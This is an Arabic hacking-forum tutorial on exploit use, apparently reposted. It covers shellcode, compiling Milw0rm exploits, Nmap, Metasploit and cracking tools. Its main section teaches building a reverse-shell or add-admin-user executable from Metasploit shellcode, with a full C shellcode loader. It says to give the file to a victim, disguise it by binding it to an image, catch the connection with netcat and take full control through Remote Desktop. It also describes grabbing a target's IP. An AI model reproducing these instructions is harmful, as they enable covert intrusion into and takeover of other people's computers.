.:: [ بســم اللهـ الرحمـن الرحيـم ] ::.
  السلآم عليكم يآ شبآب ان شآء اللهـ, بخير , طبعآ تحديث للموضوع القديم وعدلت اشيآء كثيرة واضفت اشياء ثانيه ..
  تقسيم الموآضيع :-
[~] : مقدمة
[~] : شل كــ,ــود 
[~] : ترجمة الثغرآت
[~] : ثغرآت
[~] : Nmap 
[~] : ميتآسبلويت
[~] : Assembly / C++ , C
[~] : الهندسة العكسية
[~] : مرآجع   
------------------------------------[  0x01 : Introduction  ]------------------------------------ 
المهم اليوم رآح اشرح شرح مبسط  
للثغرآت للي تنزل بالـ Milw0rm  + الـ MetaSploit  
موضوعي اليوم يتحدث عن الثغرات الطفح [ OverFlow ] , حجب الخدمة [ Dos/Poc ] 
 شرح طريقة الاختراق باستخدام الشيل كود [ Shell code ]  
وبرنآمج [ Metasploit ]  , والفحص بآستخدآم [ Nmap ] , وآخيرآ [ Reverse Engineering ] 
طبعآ يآ شبآب هآي الطرق مآتنفع للاخترآق العشوآئي , بس للاخترآق المستهدف  
ولآزم احيانا تحتآج آي بي الشخص المستهدف باي طريقه تجيب الأي بي مب مشكله  
وعندك طريقه سحب الأي بي من المسنجر عن طريق سكربت IP GET   
وبالنسبة للهندسة العكسية فسوف يتم طرح جميع الادوآت الخآصة والمهمة . 
والحين نبدآ بتعريف وتوضيح اهم المصطلحآت وبعدين نفصل كل شيء عشآن مآيصير اي  
لخبطه بالموضوع .. 
------------------------------------[  0x02 : ShellCode  ]------------------------------------   
 
الـ Shell code  
هو كود لبرنآمج ويكون بالاسمبلي بصيغه Opecode  ومآ يتعآمل الا مع الذآكرة يعني مبآشرة وعشآن كذآ قلت اسمبلي لانه يعتبر الاقرب للغه الحآسب , ويؤدي لـ / اضافه يوزر / دآونلودر , بآتش / تنفيذ اوآمر الدوس / اتصآل عكسي / اتصآل مبآشر / وحقن ملفآت الـ DLL  
يعني حسب حآجتك من الثغرة وتقتدر تكتب ينفسك اذا تعلمت الاسمبلي والسي . 
وهو يوجد بكل ثغرآت الريموت واللوكل عشآن نقدر نتحكم بالنظآم  
وفي اشياء ثانية , بس اكثر الأشياء للي رآح نحتآجهآ هي  
Bind Shell = اتصآل مبآشر  
Reverse Shell = اتصآل عكسي ( افضل واقوى ) 
طبعآ يآ شبآب الثغرآت تجي بمختلف لغآت البرمجه وكل ثغرى تكون غير عن ثغرة ثآنية 
نركز شوي ع الشل كود طبعآ قلنا قبل انه يكون بالاسبلمي او بالسي بس يفضل اسمبلي ومن ثم نحوله لصيغه الـ Opecode 
مثلا هذه التعليمه :   
 كود PHP:
    #include<stdio.h>
 
int main(){
    
       exit(0);
} 
    
  الحين هذه برنآمج بسيط جدآ بالسي ووظيفته وآضحه اعتقد المهم .. 
نحوله للاسمبلي وبيكون على هذآ الشكل :  
 كود PHP:
    Section .text
 
global_Start
 
start_:
 
mov $0x0,%ebx
mov $0x1,%eax
int 0x80 
    
  وبعد مآ نشغله ببرنآمج Objectdump 
رآح يكون كذآ : 
bb 00 00 00 00
b8 01 00 00 00
cd 80 
وآخر شيء لازم نعدل عليه ورآح يكون كذآ بالسي طبعآ:  
 كود PHP:
    "\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80" 
    
  وهذآ استدعآءه بالسي  
 كود PHP:
    #include<stdio.h>
 
char exitshell[]="\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80";
 
int main(){
 
          int *ret;
          ret =(int*)&ret+2
          (*ret)=(int)exitshell;
} 
    
  طبعآ 
 موضوع  الشل كود يطول كثير ويخطئ من يظن الشل كود للثغرآت فقط ..  
فيمكن استخدآمهآ بالبرآمج ايضآ لتسريع الادآء وصغر الحجم كمآ يحدث مع سيرفر البيوزن .. 
فأغلب اجزآءه بالاسمبلي + الشل كود  
المهم نآتي لاهم المرآجع القوية للشل كود ..  
اول كتآب واهمهم : The.Shellcoders.Handbook 
صورة للكتآب :   
 
طبعآ ينصح به بشده من يريد التعلم كشف الثغرآت وكتآبة الشل كود   
التحميل :The.Shellcoders.Handbook 
#~ 
الكتآب الثاني وايضآ شآمل : Shellcoder's Programming Uncovered 
صورة للكتآب :  
  التحميل : Shellcoder's Programming Uncovered 
#~ 
وآخر شيء بقيه الكتب الصغيرة والمقالاات   
التحميل : Shellcode.Text 
#~ 
والحين نشرح اهم مصطلحآت للشل كود في موقع الـMetaSploit  
اول شيء ندش علىآ هآي الرآبط  
الرآبط :
 Win32.Shellcode 
طبعآ انا مختآر نظآم ويندوز بيئة 32 بت  
وهاي هو المستخدم  الاكثر وتقتدر تختآر لنظآم الـ Linux اذا حبيت تخترق اجهزة بنظآم ليونكس  
المهم تآبعوآ  
 Windows Bind DLL Inject =  يعني حقن ملف ربط دينامكي ( اتصآل مبآشر ) 
Windows Bind Shell = شل كود وضيفته فتح منفذ و الأتصآل المبآشر به 
Windows Executable Download and Execute = شل كود وضيفتهآ تحميل وتنفيذ كود جميل لمحبين برآمج الأخترآق  
Windows Execute Command = تنفيذ احد اوآمر الدوس , تشغيل الحاسبه او اضافه يوزر للي تبيه بالدوس  
Windows Execute net user /ADD = اضافه يوزر للنظآم ونقدر نسيطر عليه من الـ Remote Desktop  
وينفع لاصحآب اخترآق الموآقع اضافه يوزر روت  
Windows Reverse DLL Inject =  حقن ملف ربط دينامكي ( اتصآل عكسي ) 
Windows Reverse Shell = كود وضيفته الأتصآل العكسي ورآح يكون مستخدم بشكل كبير بالثغرآت لقوته وسيطرته الكآمله ع النظآم . 
ورآح يكون الأخترآق عن طريق الـ Net Cat  يعني تسوي تنصت لين يشبك الضحية مع جهآزك 
وتتقدر بعد اذا تبي يكون التبليغ ع برنآمج اخترآق  
ورآح اشرح كل شيء بفقرة لحآله  
------------------------------------[  0x03 : Translation Exploits  ]------------------------------------ 
وطريقه التعرف ع الثغرآت وآضحة جدآ بس رآح نذكرهآ + شرح فيديو لطريقه الترجمه  
ومرفقه معهم الادوآت للترجمه  
يلا نبدآ :   
اول شيء الـ php ويبدآ كذآ : php?> 
والحين هذا هو الشرح : 
PHP 
المترجم مرفق 
#~ 
ثآني شيء الـ Perl ويبدآ كذآ : /usr/bin/perl#! 
والحين الشرح : 
Perl 
المترجم مرفق 
#~ 
ثآلث شيء الـ C++\C ويبدآ كذآ   
 كود PHP:
    #include<stdio.h> 
    
  شرح الترجمه : 
 C++\C 
موقع لتحميل المترجم : 
http://www.bloodshed.net/dev/devcpp.html 
#~ 
رآبع شيء الـ python ويبدآ كذآ : /usr/bin/env python#! 
شرح الترجمه : 
Python 
المترجم : 
http://www.python.org/download/ 
#~ 
خآمس شيء الـ Ruby ويبدآ كذآ : /usr/bin/ruby#! 
شرح الترجمه : 
Ruby 
المترجم : 
http://www.ruby-lang.org/en/downloads/ 
وبكذآ خلصنآ من دروس ترجمة الثغرآت   
------------------------------------[  0x04 : Exploits  ]------------------------------------ 
اول شيء نشوف طريقه تقسيم الثغرآت للي تنزل بالـ Milw0rm  
نبدآ    
 
الـ Remote  
تعتبر من اخطر واقوى انوآع الثغرآت يعني تحكم عن بعد  والصرآحة هي من افضل الانوآع واسهلهآ  
وهي دآيمآ تكون من نوع  0-Day يعني ثغرة مميته وخطيره ويشترط وجود برنآمج بجهآز الضحيه     
 
الـ Local 
يعني تطبيق محلي ويختلف شوي عن الريموت  
بس يظل الريموت اقوى واحسن , زي اللوكل روت يعني تغيير الصلاحيآت من اليوزر للادمن    
 
الـ dos/poc 
وهي ثغرات حجب الخدمة (denial of service) 
وهو احيانا يكون مجرد تهنيق للجهآز  
او يسوي له كرآش  [ Crash ]  
بشرط يكون البرنآمج منصب ع الجهآز  
مثلا لو لقيت كرآش في برنآمج PhoTo Shop ونزلت الملف  
رآح يصير التهنيق / الكرآش  
يلا نبدآ اول شيء بالـ Remote 
طبعآ يختلف نوع الثغرة في ثغرآت تكون بصيغه HTML ولآزم الشل كود يكون مشفر بلغه الجآفآ  
اما اذا كآنت الثغرة مكتوبه بالسي عآدي نترجم علاطووووول 
نختآر اي ثغرة مثلا آخر وحده نزلت : 
http://www.milw0rm.com/exploits/5827 
طبعآ الشل كود يكون جآهز واذا مآعجبك نوع الشل كود تقدر تغيره بشرط الشل كود مآيكون كبير عن للي موجود  
بالثغرة ولو كآن اصغر منه عآدي مآفي مشآكل  
نبدآ نشرح تفاصيل الثغرة    
 
يعني الثغرة بلغه الـ C    
  
وهني يقولك الشل كود وظيفته الأتصآل المبآشر  Bind Shell  
ويفتح بورت في الجهآز 9998  
وحجم الشل كود  317 بآيت يعني اذا حبيت تغير الشل كود لآزم تجيب وآحد نفس الحجم او اصغر منه    
 
هني يقولك حجم الفيض بالذآكرة 10000 بآيت لاتغيره لانه حجم الثغرة كبير شوي   
والحين خلصنآ للي عليك تترجم الثغرة وتطبق الثغرة اذا كنت منصب البرنآمج ورآح تشتغل معآك الثغرة زين  
#~ 
الحين نروح لثغرة ثآنية وهي ثغرة ببرنآمج Xchat  
وهآي الثغرة لازم تكون صيغتهآ HTML  
ولآزم الشل كود يكون مشفر بلغه الجآفآ    
نشرح التفاصيل   
  
يعني يقولك بالملاحظة لازم الشل كود ينفذ آمر تشغيل الالحاسبه  
ونبدآ ننسخ الثغرة من HTML وتحت ورآح نحصل مكتةب بنص الثغرة   
Command Shell calc  
يعني نسوي شل كود ينفذ آمر تشغيل الاحاسبه   
ندخل ع الموقع الميتآ : 
Win32.Shellcode 
ونختآر   
 
يعني تنفيذ اوآمر الدوس  
ويوم تضغط ع الرآبط رآح يجيك كذآ   
 
في المربع الاول كتب آمر الدوس وهو تشغيل الالحاسبه  
والامر الثاني خله زي مآهو لاتغيره  
وآخر شيء اضغط تكوين   
 
وبعد مآنضغط تكوين رآح يطلع لنآ الشل كود لتشغيل الالحاسبه   
  
الحين كل شيء وآضح ننسخ الشل كود ونحطه بالثغرة .. بس قبل كل شيء  
احنآ قلنآ الثغرة مكتوبه بالـ HTML  
يعني مآينفع نحط شل كود مكتوب بالسي او البيرل ولآزم نحول الشل كود من السي او البيرل للجآفآ سكربت , واحنآ لازم نختآر البيرل لانه الادآة تطلب البيرل فقط , طبعآ الكل لاحظ مآفي فرق بالشل كود الا بتعريف المتغير وهذآ مهم .. 
لانه تعريف المتغير يختلف من السي للبيرل .. 
والحين نحول الشل كود الى الجآفآ سكربت عن طريق هآي الأدآة . 
المكتوبه بالبيرل ( من طرح الأخ العزيز  بروتو مآن )  
 
لآحظ معآي الادآة يوم فتحته بالمفكرة  
موجود دآخلهآ شل كود ولآزم نستبدل الشل كود الموجود بالادآة للي كونآه قبل شوي  
الحين ننسخ الشل كود للي سوينآه ونحطه بالادآه عشآن يحول لنآ الي لغه الجآفآ عشآن المتصفح يقدر يشغله 
هذآ هو ننسخه   
 
ونحطه بالادآة  
وبعد مآحطينآه نحفظ الشغل كله ونحط الادآة بالسي ونترجمهآ   
 
على مأظن كل شيء وضح الحين شغلنآ الأدآة وشفر لنآ الشل كود الى الجآفآ والحين نحط هآي الكود  
بالثغرة ونجرب نشغله ورآح يشتغل باذن الله  
واما الأدآة للي تحول الشل كود للجآفآ حملهآ من هآي الرآبط   
الرآبط :/  Convert To Java Script 
#~ 
الحين خلصنآ من ثغرآت الريموت وتكون اغلبهآ زي كذآ  
واللولكل تقريبا زي الريموت ويختلف في شويه اشياء والفرق ليس كبير  
والحين ثغرآت حجب الخدمه الـ dos/poc  
وهي ثغرآت مآتخليك تخترق الجهآز يعني زي مآوضحنآ قبل مجرد تهنيق او كرآش  
للجهآز وهو يكون بأي امتدآد كآن فهو يعتمد على البرنآمج المصآب فآذآ كآن برنآمج Adobe Reader 
مصآب فسوف يكون الكرآش من نوع pdf وهكذآ مع كل برنآمج ويوجد به الخطأ 
مثال :  
http://www.milw0rm.com/exploits/5918 
الكرآش في برنآمج uTorrent 
وهي مكتوبه بلغه البيرل ننسخهآ في المفكرة ونحول الصيغه الي .pl  
وونقل الملف للـ c  
ونترجمه ورآح يطلع لنآ زي كذآ   
 
نكتب الأي بي وبعدين البورت وبعدين اليوزر + البآس  
ورآح تشتغل وفي اكثر من طريقه  
في ثغرآت بمجرد انك تعطي ملف للضحية يبدآ جهآزه يعلق ويصير له بطأ شديد  
#~ 
الحين ننتقل لاحسن شيء بالموضوع الـ Shell code 
ورآح اذكر كيف تخترق بدون ثغرآت يعني بس تحتآج لشل كود خآص فيك واخترق  
ولا رآح نستخدم لا ثغرى ريموت ولآ شيء  
الحين روح للميتآ كالعاده كآنك تسوي شل كود والحين اختآر  
Reverse Shell = اتصآل عكسي  
 
ورآح يجيك زي كذآ تآبع   
 
في المربع الأول اكتب آي بي جهآزك  
واكتب المنفذ المفتوح عندك والحين  
اضغط على تكوين   
 
وبعد مآتضغط على تكوين انسخ الشل كود   
 
وحطه بين ذآ الكود   
 كود PHP:
    #include <stdio.h>
char shellcode[]=
"\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf3"
"\x75\x47\x94\x83\xeb\xfc\xe2\xf4\x0f\x9d\x03\x94\xf3\x75\xcc\xd1"
"\xcf\xfe\x3b\x91\x8b\x74\xa8\x1f\xbc\x6d\xcc\xcb\xd3\x74\xac\xdd"
"\x78\x41\xcc\x95\x1d\x44\x87\x0d\x5f\xf1\x87\xe0\xf4\xb4\x8d\x99"
"\xf2\xb7\xac\x60\xc8\x21\x63\x90\x86\x90\xcc\xcb\xd7\x74\xac\xf2"
"\x78\x79\x0c\x1f\xac\x69\x46\x7f\x78\x69\xcc\x95\x18\xfc\x1b\xb0"
"\xf7\xb6\x76\x54\x97\xfe\x07\xa4\x76\xb5\x3f\x98\x78\x35\x4b\x1f"
"\x83\x69\xea\x1f\x9b\x7d\xac\x9d\x78\xf5\xf7\x94\xf3\x75\xcc\xfc"
"\xcf\x2a\x76\x62\x93\x23\xce\x6c\x70\xb5\x3c\xc4\x9b\x85\xcd\x90"
"\xac\x1d\xdf\x6a\x79\x7b\x10\x6b\x14\x16\x26\xf8\x90\x5b\x22\xec"
"\x96\x75\x47\x94";
 
 
main()
{
void (*routine) ();
(long) routine = &shellcode;
routine(); 
    
  
بدل الشل كود للي موجود بالادآة بالشل كود للي سوينآه الحين  
وبعدين احفظ الملف بآمتدآد .c 
والحين ننترجم الادآة , وانا نزلت درس كيف نترجم الثغرآت الادوآت  
بعد الترجمه رآح يكون الأمتدآد exe  
عطه الملف اي وآحد وسوي تنصت للنت كت  
ع البورت للي حطيته يوم سويت الشل كود وانا اخترت بورت 3460 
للي هو بورت البيوزن مب مهم انت اختآر اي بورت ينآسبك  
تآبع   
 
نسوي تنصت نفس مآقلنآ ع البورت للي حددنآه عن طريق هآي الأمر   
ونتكب بعد الـ p  
البورت  
وبعد مآشغلت الشل كود المترجم  
اتصل مع جهآزي ورآح يكون كذآ   
 
والحين نفذ اوآمر الدوس على رآحتك وتقتدر تضيف يوزر او تغير بآس الأدمن عشآن نتحكم يجهآز الضحية  
عن طريق الـ Remote Desktop 
وللي مآفهم الشرح الشل كود يحمل الشرح فيديو من ذآ  الرآبط   
الرآبط :/ Shellcode Vedio 
واما ادآة النت كت معظمكم عنده وهو موجود مع برنآمج الـميتآ سبلويت  
#~ 
والحين ننتقل لخيآر Windows Execute net user /ADD 
ويعني اضافه يوزر للنظآم وحتى اصحآب اخترآق الموآقع يقدرون بستفيدون منهآ  
المهم   
 
والحين بعد مآتضغط سوي زي مآهو موضح   
 
في المربع الأول البآس ورد لليوزر  
والثآني اسم اليوزر 
وحطه بالادآة للي حطيانه للاتصآل العكسي وترجم الثغرة  
وبعدين عطه لاي وآحد  
واذا الضحية شغل الملف رآح ينضآف يوزر جديد للجهآز ونقدر نستفيد عن طريق التحكم عن بعد  
 Remote Desktop 
نحط آي بي ضحيتنآ وبعدين نتكب اليوزر للي انضآف للنظآم وبعدين البآس  
ورآح يدخل معآك وتمتع تحكم كآمل للضحية  
شرح الفيديو من ذآ  الرآبط   
الرآبط : /  ADD USER Vedio 
في الأخير عشآن شاشه الدوس مآتطلع لك  
ادمج الملف مع برنآمج صورة اي شيء تبيه او اضغط الملف باي اداه ضغط  , وان شآء الله تختفي الشاشه  
والحين هذه كتب لكشف ثغرآت  
الـ Overflow 
صورة الكتآب :   
  التحميل : Buffer Overflow Attack 
#~ 
كتآب آخر مفصل وبالنسبة للمعلومآت فهو جيد .  
للتحميل : A Buffer Overflow Study - Attacks and Defenses  
#~ 
وهذه مجموعة كتب بالعربي بالضبط كتآبين  
للتحميل : Buffer Overflow
Arabic 
#~  
وهذآ موقع يه شروحآت بسيطة لكشف الثغرآت : Bug Hunter 
#~  
وهذآ شرح فيديو لكشف ثغرة ببرنآمج من البدآية للنهآية : Find Exploit 
وبكذآ خلصنآ من الثغرآت .. 
------------------------------------[  0x05 : Nmap  ]------------------------------------ 
وهو يعتبر من اقوى برآمج الفحص بالعالم ان لم يكن الوحيد .. 
الصرآحة هو ليس مجرد فآحص للبورتآت وانمآ يكشف نوع النظآم واصدآرة ويكشف المآك  ادرس والبروتوكلات وتخطي الفايرول عن طريق اوآمر فحص انت تحدده 
والامر سهل جدآ 
اولا : عليك تحميل البرنآمج  
الموقع الرسمي : 
http://nmap.org 
صفحة التحميل , واذهب لقسم ويندوز وقم بالتحميل ..  
http://nmap.org/download.html  واذا اردت وآجهة رسومية مع البرنآمج : Nmap GUI تحت بيئة الدوس : Nmap Console  
طبعآ بعد التنصيب العملية جدآ سهله قم بفتح البرنآمج اذا اخترت الوآجهة الرسومية وضع الاي بي المرآد فحصه وانتهى ..  
اما بالنسبة للدوس الامر ايضا سهل ببدآية كل فحص اكتب nmap ثم الامر ثم الاي بي او اسم الموقع لاكن يفضل الاي بي حتى يكون الفحص اسرع !  
مثآل : nmap -v -A scanme.nmap.org 
والاوآمر كثيرة واذا حبيت تتعرف عليهآ اكتب الامر : 
nmap -h 
ورآح يطلع لك كل الاوآمر ..   
وهذآ رآبط كتآب يشرك لك الاوآمر بشكل مفصل : Nmap Tutorial 
طبعآ البرنآمج سهل جدآ بسآعآت قليلة عرفت اغلب الاوآمر ! 
وبكذآ خلصنآ من  Nmap وهي ادآة الفحص  
------------------------------------[  0x06 : Metasploit  ]------------------------------------  
ادآة قوية وسهله جدآ مجآنية ومفتوحة المصدر تعمل على كل انظمة التشغيل فكرتهآ  
الاساسية تعتمد فقط على تسهيل استغلال الثغرآت , يعني عطني الثغرة وانا استغلهآ  
طبعآ الثغرآت تكتب بلغة الروبي وفيهآ ثغرآت قديمة يعني معظم الثغرآت مآمنهآ فايدة الا بحالة 
 الضحية جهآزة قديم او مب محدث ! 
او اذا كنت محترف وكشفت ثغرة خطيرة رآح تقتدر تضيف الثغرة وتستغلهآ مبآشرة بدون مشآكل  
وطبعآ البرنآمج يتكون من جزيئين .. 
جزء للاستغلال تحت بيئة الكونسول (الدوس) 
وجزء بوآجهة مرئية اسهل نوعآ مآ لاكن افضل الكونسول .. 
يلا نبدآ :-  
  Metasploit 3 GUI : الاستغلال بوآسطة الوآجهة الرسومية يعني مجرد ضغطآت  Metasploit 3 Web : تحت بيئة الكونسول لاكن مطورة اكثر وفيهآ محرك بحث وثيمآت  Online Update : من اسمه التحديث , ويشمل تحديث الثغرآت والادوآت  Tools : ادوآت تأتي مع البرنآمج مثل : Netcat , Putty , VNCViewer 
والحين نجي لاهم المصطحلآت والاوآمر .. 
طبعآ الحين رآح اقسم الفيديو لجزيئين جزء لتحت بيئة الكونسول وجزء للوآجهة الرسومية  
واما فيديوهآت لاستغلال الثغرآت بآخر الشرح المهم نبدآ بالشرح :- 
طبعآ توضيح لاهم الاوآمر  
RHOST = آي بي الضحية 
بعد الاحيآن لا تجد كلمه RHOST وانمآ تجد البدآية قريبة من اسم الثغرة المهم امام كل مصطلح تلقى تعريف له يعني لاتخآف  
#~ 
LHOST = آي بي جهآزك 
#~ 
PAYLOAD = البايلود او الشل كود 
#~ 
info = اختصآر لـ Information  وهي امر استخرآج معلومآت عن الثغرة 
#~ 
show options = اظهآر خيآرآت الثغرة  
#~ 
شروحآت الفيديو :-  
DownLoad Metasploit GUI    DownLoad Metasploit Console 
في الاخير مجموعة شروحآت لتطبيق مختلف الثغرآت جمعتهآ لكم من موآقع مختلفة , شروحآت زينة وسهله   
للتحميل : Metasploit[mr.patch] 
وبكذآ تكلمنآ عن الميتآسبلويت  
------------------------------------[ 0x07 : Assembly / C++ , C ]------------------------------------ 
خبير لغه سي + خبير اسمبلي = خبير انظمة وكآشف ثغرآت ! 
شيء معروف لغة السي والاسمبلي طبعآ كبدآية تعلم لغه سي ولهآ مرآجع كثيرة قد شعر رآسك ... 
وبالنسبة للغه سي فهي تعد من اقوى اللغآت واسرعهآ وبهآ كتبت انظمة التشغيل  
ويندوز , ليونكس , يونكس , مآكنتوش وكل انظمة التشغيل نظرآ لسرعة اللغه وربطه بالعتآد  
وطبعآ الاسمبلي مهم ايضآ للهندسه العكسية وكشف الثغرآت او ترقيعهآ  
فالبدآية رآح ارفق كتب عربية للغة سي وبعدين الاجنبية , نبدأ :-  
  كتآب : لغة C الشآمل لخليل اونيس  
#~  
  كتآب : الاكسير لسلطآن الثبيتي 
#~ 
الحين المرآجع الاجنبية , طبعآ افضل بكثير وكونهآ معتمدة بكثير من جآمعآت العالم   
  كتآب : C++ How to Program, Fifth Edition 
#~  
 
سلسلة معروفة جدآ وانصح كل مبتدا فيهآ   
كتآبSams Teach C in 21 Days 6E :   وهذآ موقع انصح فيه للي نآوي يبدآ : C++ .C 
#~ 
الحين نجي للاسمبلي ..  
رآح ارفق كتآب عربي وكتآب اجنبي :-  
الكتآب العربي : Assembly All 
#~  
الكتآب الاجنبي : The Assembly Programming Master Book 
وبكذآ تكلمنآ نبذة عن اهم لغآت البرمجة  
------------------------------------[  0x06 : Reverse Engineering  ]------------------------------------ 
الهندسة العكسية طبعآ هو مب يعني كسر برنآمح بحد ذاته وانمآ فهم كيفية عمل البرنآمج او  
كشف عيوبه وكتآبه ثغرآته او تقليد له 
وطبعآ احنآ رآح نتكلم عن كسر البرآمج وبعدين انت تقدر تبحث عن المزيد اذا حبيت .. 
اول برآمج واهمهم :-  
http://www.ollydbg.de/ 
برنآمج Olly من افضل برآمج التنقيح ع الاطلاق طبعآ المجآني وفي وآحد بفلوس اسمه IDA 
حمل برنآمج Olly  واذا حبيت اضافآت للبرنآمج تجد بهذآ الصفحة   
http://www.tuts4you.com/download.php?list.3 
تجد كل مآيخص البرآمج من شروحآت اودوآت , واذا حددت للاضآفآت روح لقسم  
OllyDbg Plugins 
المهم نجي ونحمل بآقي الادوآت المهمة جدآ  
#~  
  
Import RE 
برنآمج معروف وقوي جدآ يقوم يتصليح الـدوال وتركيبه للدوال المفقودة بالبرنآمج ويستعمل كثير  
بكسر التشفير حيث بعد فك الضفط او التشفير تكون هنآك دوال مفقودة ويقوم البرنآمج باضآفتهآ  
للتحميل : Import RE 
#~  
 
برنآمج لتحرير الرسورس سهل وخفيف ومحمول واما التسجيل تجده بالمرفق   
التحميل : Restorator 
#~  
 
اقوى برآمج للتحكم ببنية البرآمج الـ PE طبعآ تقتدر تضيف قسم جديد بحال مآلقيت Code Cave 
وتحكم شآمل وقوي جدآ   
للتحميل : Lord PE 
#~  
 
برنآمج معروف لمعرفة البرنآمج باي لغة مكتوب ويظهر لك اذا كآن البرنآمج مشفر او مضغوط ..  
للتحميل : PIED 
#~ 
الحين خلصنآ من اهم الادوآت وفي ادوآت كثيرة جدآ لاكن طرحت اهمهآ ..  
الحين نجي لبعض الدروس بالهندسة العكسية .. 
اول شيء اظن تشفير بنقط الادخال معروف وانشرح اكثر من مرة لاكن رآح اطرح درس مميز   
الصرآحة وهو على هآي الرآبط : خطي برآمج الحمآية 
#~ 
الشرح الثاني حقن  دوآن لودر بملف تنفيذي كآمل   
لتحميل الدرس هنــ,ـــــآ  
#~ 
كتآب الفريق العربي للبرمجة الاصدآر الاول !  
  للتحميل : كتآب الفريق العربي للهندسة العكسية  
------------------------------------[  0x06 : References  ]------------------------------------  
آخر شيء بالموضوع مرآجع مهمة لكل 
 مبتدأ  ..  
طبعآ مرآجع مهمة جدآ ورآح تفيدك كثير  
اول شيء من احسن الموآقع العربية للهندسة الهكسية   
www.at4re.org/f/ & 
www.aoreteam.com/vb 
وهذآ موقع للبرمجة صآر له اكثر من 8 سنوآت فيه موآضيع جد قوية : 
http://www.arabteam2000-forum.com/ 
اما الموآقع الاجنبية هذآ هو : 
www.tuts4you.com 
فيه كل شيء دروس اسئلة مرآجع ادوآت تحديآت  
#~ 
موقع عربي متميز دآئمآ يقدم الجديد هذآ هو : 
http://www.s4cnc.com/ 
واذا حبيت تشوف موآضيع JAAS المميزة شوف هنآ : 
http://www.s4cnc.com/paper/ 
مدونة احد خبرآء انظمة ليونكس وفيه موآضيع زينة ومفيدة : 
http://br4v3-h34r7.com/ 
وهذآ موقع اذا حبيت تحمل كتب برمجة شبكآت اي شيء يتعلق بالحآسب : 
http://www.q1nx.com/books/ 
وفي موقع الطآرق بعد لاكن مآعندي الرآبط حاليا . 
#~ 
موآقع هكر اجنبية , طبعآ كثيرة لاكن رآح اطرح الافضل .. 
موقع تعلم منه مبرمجين كبآر وكآن ملتقى لهم وفيه دروس قوية وسروسآت كثيرة لبرآمج اخترآق ودمج وتشفير هذآ هو : 
http://www.opensc.ws/ 
موقع جيد وفيه مخترقين على مستوى وموآضيعهم زينه وطبعآ يتطلب تسجيل بالمنتدى : 
http://www.h4cky0u.org/index.php 
من افضل موآقع الهكر الاجنبية وفيه شروحآت كثيرة هذآ هو : 
http://www.blackhat-forums.com/ 
موقع شآمل وفيه كل مآيحتآجه الهكر ادوآت لوكلات روت كيت كل شيء : 
http://packetstorm.linuxsecurity.com/ 
في الاخير اتمنى الموضوع يعجبكم واتمنى لو افادكم , واتمنى عدم استخدآم اي شيء بالموضوع لاذية المسلمين وانا برئ برآءة الذئب من دم يوسف اذا صآرت  
مشآكل , طبعآ الكل لاحظ طرحت كتب اجنبية وشروحآت كذلك : شبآب اللغه مهمة اذا حبيت تتعلم اي شيء فكل شيء صآر بالانجليزي اذا حبيت تتطور من نفسك  
واذا مآفهمت شيء عندك خدمه قوقل لترجمه الموآقع او لترجمة النصوص او برنآمج الوآفي للي يعجبك اهم شيء لا تضيع وقتك على تفآهآت لاتودي وتجيب ..  
واذا في خطآ بلغوني والانسآن مب معصوم عن الخطأ 
ولاتنسى ذكر الله , في امان اللهـــ
   منقوول للفائده